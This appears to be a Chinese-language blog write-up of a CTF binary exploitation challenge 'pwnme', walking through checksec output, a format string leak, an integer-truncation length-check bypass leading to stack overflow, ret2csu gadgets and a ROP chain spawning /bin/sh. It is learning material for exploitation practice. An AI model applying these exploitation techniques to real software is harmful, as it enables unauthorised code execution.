pwn

500年前的题

pwnme writeup

Posted by pic4xiu on May 9, 2019

Overview

Safeguard、operation and analysis

pic@ubuntu:~/Desktop$ checksec pwnme
[*] '/home/pic/Desktop/pwnme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

发现本题开启了RELRONX,意味着我们不能随便搞got表和直接往栈上写shellcode,我们来分析本题逻辑

pic@ubuntu:~/Desktop$ ./pwnme 
**********************************************
*                                            *
*              Have fun!Pwn me               *
*                                            *
**********************************************
Register Account first!
Input your username(max lenth:40): 
1
Input your password(max lenth:40): 
1
Register Success!!

本题首先进行注册之后弹出3个选项

1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>1
1
1
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>2
please input new username(max lenth:20): 
1
please input new password(max lenth:20): 
1
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>3
byebyeT.T

我们到ida中进行下一步分析,发现在输出函数即选项1中存在格式化字符串

int __fastcall sub_400AD1(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
  printf(&formata);
  return printf(&a9 + 4);
}

然后就没有然后了,我并不知道其他漏洞点,在看了大佬的wp后get到了一个新的漏洞方式类型转换不当导致缓冲区溢出,在编辑函数即选项2中的修改密码

    if ( (_BYTE)v12 && (unsigned __int8)v12 <= 0x14u )

看到v12被类型转换,将unsigned int v12转为_BYTE,也即最后一个字节小于0x14u即可,之后输入最后字节满足if语句即可,我们找到了溢出点和泄露点,可以开始思考怎么利用了

Thinking

how to exploit vulnerability

我们最后要做的便是执行system("/bin/sh"),首先找到system地址,根据格式化字符串漏洞,我们利用DynELF把system的地址爆破出来,之后利用缓冲区溢出构造一个rop直接去执行获得shell。行,下面看一下具体过程我们先说rop的构造,毕竟这是这题难点

先找到溢出点,直接用cyclic整0x100个即256个,

pic@ubuntu:~/Desktop$ cyclic 256
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac

直接贴到程序中,由于大于0x00007fffffffffff,程序正常爆炸,我们直接找到esp的值

 RAX  0x7fffffffe390 ◂— 0x6161616261616161 ('aaaabaaa')
 RBX  0x0
 RCX  0x603660 ◂— 0x0
 RDX  0x10
 RDI  0x7fffffffe390 ◂— 0x6161616261616161 ('aaaabaaa')
 RSI  0x603670 ◂— 0x6161616261616161 ('aaaabaaa')
 R8   0x1
 R9   0x7fffffffe380 ◂— 0x111004010a8
 R10  0x603870 ◂— 0x0
 R11  0x7fffffffe481 ◂— 'aaclaacmaacnaacoaacpaacqaacraac\n'
 R12  0x400770 ◂— xor    ebp, ebp
 R13  0x7fffffffe5c0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x6161616a61616169 ('iaaajaaa')
 RSP  0x7fffffffe3b8 ◂— 0x6161616c6161616b ('kaaalaaa')
 RIP  0x400ad0 ◂— ret    

直接找到溢出点为40

pic@ubuntu:~/Desktop$ cyclic -l 0x6161616b
40

之后直接向后写,我们的思路是先利用read在bss端写字符串,然后pop到rdi,直接到system里执行,所以一个完整的rop链是

'A'*40+read(0,bss_addr,8)+pop rdi+bss_addr+system(rdi)

之后就是找可利用的gadget了,根据大佬的博客发现有两个通用的,还有一个很难找的pop rdi,但是有pop r15,利用该网站看看机器码,该汇编的机器码是

0:  41 5f                   pop    r15

pop rdi

0:  5f                      pop    rdi

,差一个字节,所以也有了,这些代码在ida中找到了,直接贴出来

.text:0000000000400EB0                 mov     rdx, r13
.text:0000000000400EB3                 mov     rsi, r14
.text:0000000000400EB6                 mov     edi, r15d
.text:0000000000400EB9                 call    qword ptr [r12+rbx*8]
.text:0000000000400EBD                 add     rbx, 1
.text:0000000000400EC1                 cmp     rbx, rbp
.text:0000000000400EC4                 jnz     short loc_400EB0
.text:0000000000400EC6
.text:0000000000400EC6 loc_400EC6:                             ; CODE XREF: init+36↑j
.text:0000000000400EC6                 add     rsp, 8
.text:0000000000400ECA                 pop     rbx
.text:0000000000400ECB                 pop     rbp
.text:0000000000400ECC                 pop     r12
.text:0000000000400ECE                 pop     r13
.text:0000000000400ED0                 pop     r14
.text:0000000000400ED2                 pop     r15
.text:0000000000400ED4                 retn

所以具体的rop链为

'A'*40+0000000000400ECA + 0 + 1 + read + 8 + bss_addr + 0 + 0000000000400EB0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0000000000400ED3 + bss_addr + system

然后后边用A凑齐,即可起shell,下面补充一下格式化字符串的利用,在用aaaa%n$x测试时发现在8的时候是字符串起始位置,然后很奇怪,看大佬的wp发现利用输出密码时才能泄露,下面列出该漏洞的伪exp

'please input new username(max lenth:20): \n'   =>  '%11$sflag'
'please input new password(max lenth:20): \n'   =>  'aaaa'+p64(address)

通过ida可以发现两个字符串相差16个字节偏移为4,即

8   起始位置
9
10
11  存放address

通过这个便可泄露出来addr,很爽。做这题真的花了好久好久,还是太菜了~~~